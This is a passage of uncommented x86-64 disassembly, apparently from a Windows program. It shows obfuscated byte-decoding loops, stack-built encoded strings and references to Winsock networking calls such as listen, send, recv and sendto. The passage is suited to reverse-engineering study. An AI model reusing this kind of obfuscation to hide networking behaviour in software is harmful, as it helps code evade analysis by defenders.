lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x14009a9e0
movabs rdx, 0xe967e5ab25d3803
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x15
add r10b, dl
jmp 0x14009a62f
movabs rcx, 0x93a3f8676807e502
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xe
movzx eax, byte [rbp + rbx + 0x988]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009a0e2
movabs rdx, 0x58687a8e66612a84
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009acc3
movabs rcx, 0x1d2cfcb564ba7006
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
jmp 0x14009ac93
movabs rdx, 0xe1f17edc6313b588
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009a0e2
movabs rcx, 0xa6b60103616cfb0a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x46
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009a0e2
movabs rdx, 0x6b7a832a5fc6408c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14009abfb
movabs rcx, 0x303f05515e1f860e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
dec rbx
inc rbx
jmp 0x14009a0e2
movabs rdx, 0xf50387785c78cb90
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x14009a0e2
movabs rdx, 0xb9c8099f5ad21112
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7e
add r10b, dl
jmp 0x14009adbc
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x14009a895
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x47
jmp 0x14009a68c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009a8d8
movabs rcx, 0xdbe152cd22ad4c56
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5a
movzx eax, byte [rbp + rbx + 0x988]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009a0e2
inc rax
cmp r8, rax
jne 0x14009a90d
movabs rdx, 0x171cd0a6245406d4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009acc3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009a942
movabs rdx, 0x52584e7f25fac152
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3e
add r10b, dl
jmp 0x14009ac93
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009a972
movabs rdx, 0x40ac80a2aeef0cc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14009abfb
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009a9aa
movabs rcx, 0x3f4645e32c95ab4a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 6
dec rbx
inc rbx
jmp 0x14009a0e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009a68c
movabs rdx, 0xb5bd41952fe32046
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009adbc
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14009aa11
movabs rcx, 0x49d1fc33b403f281
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x79
jmp 0x14009adbc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009aa48
movabs rcx, 0xc048f7e5b751677d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6b
dec rbx
inc rbx
jmp 0x14009a0e2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009aa8c
movabs rcx, 0x36bff397ba9edc79
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4f
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009a0e2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009a62f
movabs rdx, 0xad36ef49bdec5175
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x33
add r10b, dl
jmp 0x14009ac93
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009ab08
movabs rdx, 0xb7c2a59a455a98ac
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x988]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009a0e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009ab3e
movabs rdx, 0x2e39a14c48a80da8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009ac93
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009ab6e
movabs rdx, 0xdfec1ad74d9c3d22
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14009abfb
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009aba5
movabs rcx, 0x1b2798b04f42f7a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x14009a0e2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009a5e0
movabs rcx, 0x919e946252906c9c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x44
jmp 0x14009adbc
movabs rdx, 0x815901455dde198
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0x988]
sub r10b, al
sub r10b, 0x28
add r10b, r11b
add r10b, dl
movabs rdx, 0x25b34f00d6b13ed7
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x1f
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x988], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009a0e2
movabs rdx, 0x43510ded57849c16
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x988]
add r10b, dl
add r10b, r11b
jmp 0x14009ac93
movabs rcx, 0xc911a559ce5bf9d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4b
movabs rcx, 0x60eeccd9d857f955
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x53
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x988], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x7e8c8bc6592b5694
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0xc
add r11b, cl
mov byte [rbp + rbx + 0x988], r11b
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x988]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009a0e2
movabs rcx, 0xd1559c7c9b3f051f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x27
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009a0e2
movabs rcx, 0x961a1ea399984aa1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x67
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009a0e2
movabs rcx, 0xa92c273f92fd60a9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x61
jmp 0x14009adbc
movabs rcx, 0x32b52b8d8fafebad
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x45
movabs rcx, 0xea77d127d50a8459
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x6f
add r11b, cl
mov byte [rbp + rbx + 0x988], r11b
inc r9
dec rbx
inc rbx
jmp 0x14009a0e2
movabs rcx, 0xbc3e2fdb8c6276b1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x29
dec rbx
inc rbx
jmp 0x14009a0e2
movabs rcx, 0xa8bb650876e4737
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x7f
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009a0e2
movabs rcx, 0x58d93cc5827a17bd
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x2b
movzx eax, byte [rbp + rbx + 0x988]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009a0e2
movabs rcx, 0x62f430deedcf71bb
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1d
jmp 0x14009a0e0
movabs rcx, 0x27b8b305ec28b73d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x55
jmp 0x14009a0d0
lea rcx, [rbp + 0x142afdc]
jmp 0x14009aeec
lea rcx, [rbp + 0x960d1b]
jmp 0x14009aeec
lea rcx, [rbp + 0x988]
mov rdx, rdi
call fcn.140035c60
test al, al
je 0x14009af4a
lea rdx, [0x140225fb0]
lea rcx, [rbp + 0x268]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xd8]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006b1d0
movzx ecx, byte [rax]
mov byte [0x140227d7b], cl
lea rdx, [0x140225e70]
lea rcx, [rbp + 0x288]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xf8]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006b1d0
mov rdi, rax
mov byte [rbp + 0xd48], WSASetLastError
mov byte [rbp + reloc.WS2_32.dll_listen49], 0xd
mov byte [rbp + 0xd4a], 2
mov byte [rbp + 0xd4b], 0x7c
mov byte [rbp + 0xd4c], WSACleanup
mov byte [rbp + 0xd4d], 0xa
mov byte [rbp + 0xd4e], 1
mov byte [rbp + 0xd4f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd50], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd51], 8
mov byte [rbp + 0xd52], 0x76
mov byte [rbp + 0xd53], 0x9b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd54], xmm0
mov dword [rbp + 0xd64], eax
mov word [rbp + 0xd68], ax
mov byte [rbp + 0xd6a], al
movabs rsi, 0xdd05c6c71aae56ff
movabs r13, 0x53aaf115abefebc3
movabs r14, 0x6dd0e6c45b4502e1
movabs r15, 0xc67b049903652b5b
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [0x14022c4b8]
mov r8, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009bf3f
movzx r11d, byte [rbp + rbx + 0xd48]
mov rdx, r11
nop dword [rax + rax]
cmp r9, rbx
ja 0x14009bf33
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14009b0a3
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x55
jmp 0x14009b0f0
je 0x14009beac
lea rax, [r8 + 2]
cmp r9, rax
je 0x14009be10
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009bddd
lea rax, [r8 + 4]
cmp r9, rax
je 0x14009bda5
lea rax, [r8 + 6]
cmp r9, rax
je 0x14009bd44
lea rax, [r8 + 7]
cmp r9, rax
je 0x14009bd17
nop word [rax + rax]
cmp r8, rbx
ja 0x14009bf27
lea rax, [r8 + 5]
cmp r9, rax
jae 0x14009b125
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 7
add r10b, dl
jmp 0x14009b150
lea rax, [r8 + 1]
cmp r9, rax
je 0x14009bcc6
lea rax, [r8 + 4]
cmp r9, rax
je 0x14009bc8f
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009bc5b
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14009b7ef
nop dword [rax]
lea rax, [r8 + 6]
cmp r9, rax
je 0x14009b7c6
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x14009b798
lea rax, [r8 + 5]
cmp r9, rax
je 0x14009b769
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x14009b740
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x14009b708
lea rax, [r8 + 9]
cmp r9, rax
je 0x14009b6cf
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x14009b6a6
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x14009b67e
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x14009b644
lea rax, [r8 + 0x64]
cmp r9, rax
je 0x14009b160
lea r9, [r8 + 0x2a]
lea r8, [r9 + 0x400]
lea rax, [r8 + 4]
cmp r9, rax
jb 0x14009bf03
lea rax, [r8 + 9]
cmp r9, rax
jb 0x14009bedf
lea rax, [r8 + 3]
cmp r9, rax
jb 0x14009b342
lea rax, [r8 + 8]
cmp r9, rax
jb 0x14009b327
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x14009b30c
lea rax, [r8 + 6]
cmp r9, rax
jb 0x14009b5e2
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x14009b580
lea rax, [r8 + 0x42]
cmp r9, rax
jb 0x14009b52d
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x14009b4fe
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x14009b160
lea r9, [r8 + 0x41]
lea r8, [r9 + 0x200]
lea rax, [r8 + 2]
cmp r9, rax
ja 0x14009b4c8
lea rax, [r8 + 6]
cmp r9, rax
ja 0x14009b4a4
lea rax, [r8 + 1]
cmp r9, rax
ja 0x14009b47b
lea rax, [r8 + 5]
cmp r9, rax
ja 0x14009b447
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x14009b410
lea rax, [r8 + 4]
cmp r9, rax
ja 0x14009b3e7
lea rax, [r8 + 9]
cmp r9, rax
ja 0x14009b3bd
lea rax, [r8 + 3]
cmp r9, rax
ja 0x14009b38f
lea rax, [r8 + 8]
cmp r9, rax
ja 0x14009b366
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x14009b160
lea r9, [r8 + 0x61]
lea r8, [r9 + 6]
jmp 0x14009b160
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x27
jmp 0x14009b150
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7d
jmp 0x14009b0f0
movabs rcx, 0x1f25226dab8553d5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2d
jmp 0x14009b065
movabs rdx, 0xe82e3638d572b7f8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009bce5
movabs rcx, 0x40d8540d7d92e072
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1e
inc r8
dec rbx
inc rbx
jmp 0x14009b052
movabs rcx, 0x998271e225b308ec
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x74
dec rbx
inc rbx
jmp 0x14009b052
movabs rdx, 0xf22c8fb6cdd33166
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009bd63
movabs rcx, 0x4ad6ad8b75f359e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009b052
movabs rcx, 0xa380cb601e13825a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009b052
movabs rdx, 0xfc2ae934c633aad4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009be32
movabs rcx, 0x54d507096e53d34e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x22
jmp 0x14009be62
movabs rcx, 0xad7f24de1673fbc8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
movzx eax, byte [rbp + rbx + 0xd48]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009b052
movabs rcx, 0xb286f71bac460f9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x31
mov byte [rbp + rbx + 0xd48], r10b
inc rbx
jmp 0x14009b052
movabs rdx, 0x63d28d4662e48973
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x25
add r10b, dl
cmp r8, 9
jb 0x14009b51d
movabs rcx, 0x561c0ea28197efb2
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x14009bce5
movabs rdx, 0xbc7cab1b0b04b1ed
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7b
add r10b, dl
cmp r9, 0x10
jae 0x14009bbfa
lea rax, [r8 + 0x1000]
cmp r9, rax
jbe 0x14009badc
movabs rdx, 0xccc138f112d98476
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3a
jmp 0x14009b54d
movabs rdx, 0x1526c8efb324da67
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x2f
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x14009bc2b
lea rax, [r8 + 0x7a]
cmp r9, rax
jbe 0x14009b988
movabs rcx, 0xefbb7229f82b2d77
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x41
jmp 0x14009b5a3
movabs rdx, 0x2e22a8aaa01609fa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xd48]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009b052
movabs rdx, 0x86ccc67f48363274
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2c
add r10b, dl
jmp 0x14009be62
movabs rdx, 0xdf76e453f0565aee
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009be32
movabs rdx, 0x3821022898768368
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009b052
movabs rcx, 0x90cb1ffd4096abe2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2e
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009b052
movabs rdx, 0xe9753dd1e8b6d45c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009bd63
movabs rdx, 0x421f5ba690d6fcd6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14009b052
movabs rcx, 0x9ac9797b38f72550
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x30
inc r8
dec rbx
inc rbx
jmp 0x14009b052
movabs rdx, 0xf373974fe1174dca
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009bce5
lea rax, [r8 + 0x3e8]
cmp r9, rax
jae 0x14009b81b
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x55
jmp 0x14009b602
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14009b862
movabs rdx, 0xba0b8d8e355cadfe
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xd48]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009b052
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009b893
movabs rcx, 0x8b751e4e51c5d0a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x46
jmp 0x14009be32
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14009b8dc
movabs rdx, 0x5763163b94dc0c16
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009b052
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14009b90d
movabs rcx, 0xfeb8f866ecbbe39c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x44
jmp 0x14009bd63
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14009b949
movabs rdx, 0xa60eda92449bbb22
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14009b052
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14009b605
movabs rdx, 0x4d64bcbd9c7b92a8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r8
dec rbx
inc rbx
jmp 0x14009b052
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14009b9b9
movabs rcx, 0x97115455500b04fd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x15
jmp 0x14009bce5
inc rax
cmp r9, rax
jne 0x14009b9f2
movabs rcx, 0x3e673680a7eadc83
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6b
inc r8
dec rbx
inc rbx
jmp 0x14009b052
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14009ba34
movabs rcx, 0xdbbebf2e076a3a9b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3d
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009b052
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14009ba69
movabs rdx, 0x8314a1595f4a1221
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x19
add r10b, dl
jmp 0x14009be32
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009ba9a
movabs rcx, 0x2a6a8384b729e9a7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6f
jmp 0x14009be62
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14009b5a3
movabs rcx, 0xd1c065b00f09c12d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3b
movzx eax, byte [rbp + rbx + 0xd48]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009b052
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x14009bb23
movabs rdx, 0x74171b1c6ab95bfc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xd48]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009b052
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009bb54
movabs rcx, 0xc2c2df731a790b08
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x14009be32
lea rax, [rcx + 1]
cmp r9, rax
jne 0x14009bb89
movabs rdx, 0xb8c485f52218919a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x36
add r10b, dl
jmp 0x14009bd63
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14009bbc5
movabs rdx, 0x601a682079f86920
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14009b052
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14009b550
movabs rdx, 0xaec62c7729b8182c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x34
add r10b, dl
jmp 0x14009bce5
movabs rdx, 0xfd71f0cdd977c738
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xd48]
add r10b, r11b
add r10b, dl
jmp 0x14009bd63
movabs rdx, 0xa4c7d2f931579ebe
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0xd48]
sub r10b, 0x32
add r10b, dl
jmp 0x14009be32
movabs rcx, 0xc90913cb29ed6423
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xb
movzx eax, r10b
mov rcx, r12
sub rcx, rax
